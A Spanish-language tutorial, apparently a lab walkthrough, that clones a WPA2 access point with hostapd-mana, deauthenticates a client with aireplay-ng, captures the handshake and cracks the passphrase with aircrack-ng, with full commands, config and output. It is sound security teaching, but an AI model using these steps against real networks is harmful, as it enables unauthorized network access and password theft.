Introducción

Un handshake WPA (Wi-Fi Protected Access) es un proceso en el que un dispositivo cliente se autentica con un punto de acceso que utiliza el protocolo de seguridad WPA. Durante este proceso, el dispositivo cliente y el punto de acceso intercambian información para establecer una conexión segura. Esta información incluye datos criptográficos que se utilizan para cifrar la comunicación entre el dispositivo cliente y el punto de acceso, garantizando así la privacidad y seguridad de la conexión Wi-Fi. En entornos de seguridad informática, la captura de un handshake WPA puede ser utilizada para realizar ataques de fuerza bruta para descifrar la contraseña de la red Wi-Fi.

Uno de los métodos para obtener ese handshake es crear un punto de acceso con los mismos datos identificativos que el punto de acceso original e intentar que el cliente se conecte a él, bien desconectándole del punto de acceso original o estando desconectado se conectará automáticamente.

Obtención de los datos del punto de acceso

En primer lugar se deberán obtener los datos del punto de acceso, en este caso utilizando la herramienta airodump-ng y la interfaz inicializada en modo monitor.

$ sudo ip link set wlan1 down; sudo iw dev wlan1 set type monitor; sudo ip link set wlan1 up
$ sudo airodump-ng wlan1
CH  1 ][ Elapsed: 18 s ]

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 BA:53:9C:05:87:29  -10  93      205        0    0   1   65   WPA2 CCMP   PSK  WIFINET

Encontramos una red Wi-Fi, con ESSID WIFINET, canal 1, dirección MAC BA:53:9C:05:87:29 y cifrado WPA2-CCMP con PSK (Clave precompartida). Encontramos un cliente conectado con dirección MAC 52:D6:59:D2:37:06.

BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 BA:53:9C:05:87:29  52:D6:59:D2:37:06  -43    1e- 1e    44      174         WIFINET

Configuración del punto de acceso clonado

Se utilizará la herramienta hostapd-mana la cuál facilitará la creación del punto de acceso y la captura del archivo con el handshake (sin necesidad de tener otra interfaz activa en modo monitor). Esta herramienta se encuentra por defecto en los repositorios de Kali Linux, por lo que es posible instalarla.

$ sudo apt install hostapd-mana -y

El archivo de configuración se llamará hostapdmana.conf con la interfaz de red wlan1. El archivo con el handshake se guardará en la ruta /tmp/handshake.hccapx.

$ vi hostapdmana.conf
# Interfaz inalambrica
interface=wlan1
# ESSID de la red clonada
ssid=WIFINET
# Canal de la red clonada
channel=1
# Utilizar la banda de 2.4GHz
hw_mode=g
# Activar IEEE 802.11n
ieee80211n=1

# Activar WPA2
wpa=2
# Activar autenticacion con clave precompartida WPA-PSK
wpa_key_mgmt=WPA-PSK
# Activar cifrado CCMP para WPA2
rsn_pairwise=CCMP
# Clave WPA-PSK (no importa su valor, al capturar el handshake)
wpa_passphrase=password

# Archivo en el que se guardara el archivo del handshake
mana_wpaout=/tmp/handshake.hccapx

Activación del punto de acceso

A continuación se activará el punto de acceso con hostapd-mana especificando el archivo de configuración como parámetro.

$ sudo hostapd-mana hostapd-wpa2mana.conf
Configuration file: hostapd-wpa2mana.conf
MANA: Captured WPA/2 handshakes will be written to file '/tmp/handshake.hccapx'.
Using interface wlan1 with hwaddr c0:22:50:e6:1a:38 and ssid "WIFINET"
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED

Desautenticación del cliente del punto de acceso original

Después con la herramienta aireplay-ng enviaremos paquetes de desautenticación al cliente que está conectado al punto de acceso original para que se conecte al punto de acceso clonado.

$ sudo aireplay-ng -0 0 -a BA:53:9C:05:87:29 -c 52:D6:59:D2:37:06 wlan0
Sending 64 directed DeAuth (code 7). STMAC: [52:D6:59:D2:37:06] [28|65 ACKs]
Sending 64 directed DeAuth (code 7). STMAC: [52:D6:59:D2:37:06] [64|63 ACKs]
Sending 64 directed DeAuth (code 7). STMAC: [52:D6:59:D2:37:06] [64|58 ACKs]

Se comprueba que el cliente ha recibido los paquetes de desautenticación enviados.

Obtención del handshake y recuperación de la contraseña

Tras unos segundos de espera, se muestra la captura del handshake del cliente y de que la contraseña es incorrecta (es normal ya que no conocemos la contraseña del punto de acceso).

$ sudo hostapd-mana hostapd-wpa2mana.conf
...
wlan1: STA 52:d6:59:d2:37:06 IEEE 802.11: associated
MANA: Captured a WPA/2 handshake from: 52:d6:59:d2:37:06
wlan1: AP-STA-POSSIBLE-PSK-MISMATCH 52:d6:59:d2:37:06

Con el archivo de handshake, podemos recuperar la contraseña del punto de acceso original utilizando la herramienta aircrack-ng y el diccionario john.lst. Se debe especificar la dirección MAC del punto de acceso con el parámetro --bssid.

$ aircrack-ng -w /usr/share/wordlists/john.lst --bssid BA:53:9C:05:87:29 /tmp/handshake.hccapx
                               Aircrack-ng 1.7 

      [00:00:00] 535/3559 keys tested (12783.27 k/s) 

      Time left: 0 seconds                                      15.03%

                           KEY FOUND! [ margaret ]


      Master Key     : A9 35 99 1F 49 34 73 10 61 B2 97 10 A7 61 12 D6 
                       8E B4 B0 2F 4C CB 00 A5 3F 8B F7 25 01 8C 63 24 

      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : FC 97 CD A4 15 3B 32 60 A3 D8 36 48 CA 79 49 1F

La clave del punto de acceso es margaret.

Conclusión

Con la obtención de la clave de acceso podremos conectarnos a la red con las herramientas wpa_supplicant y dhclient. En el caso de que la contraseña sea lo suficientemente robusta no podremos recuperarla con los diccionarios predeterminados. Tendremos que crear nuestros propios diccionarios o realizar otro tipo de ataques como el “Evil Twin Attack” en el cuál con un punto de acceso clonado se solicitan las credenciales al cliente a través de un portal cautivo web.